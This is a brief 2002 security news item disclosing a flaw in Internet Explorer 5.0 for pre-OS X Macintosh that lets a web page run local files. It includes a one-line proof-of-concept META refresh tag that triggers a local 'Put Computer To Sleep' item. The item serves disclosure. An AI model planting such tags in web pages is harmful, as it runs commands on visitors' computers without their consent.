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Home » Hacking News » Macintosh Ineternet Explorer file execution vulnerability

Macintosh Ineternet Explorer file execution vulnerability

by Nikola Strahija on January 27th, 2002 A vulnerability has been found in Internet Explorer 5.0 for Macintosh systems (below OS X) which a malicious webmaster can exploit to run commands on the victims computer.


The following META tag will spin down hard disks:

<META HTTP-EQUIV="refresh" CONTENT="1; URL=file:///Macintosh%20HD/System%20Folder/Speakable%20Items/Put%20Computer%20To%20Sleep">

Microsoft has been contacted. No reply yet.
Discovered by Jass Seljamaa (jass at isp.ee).


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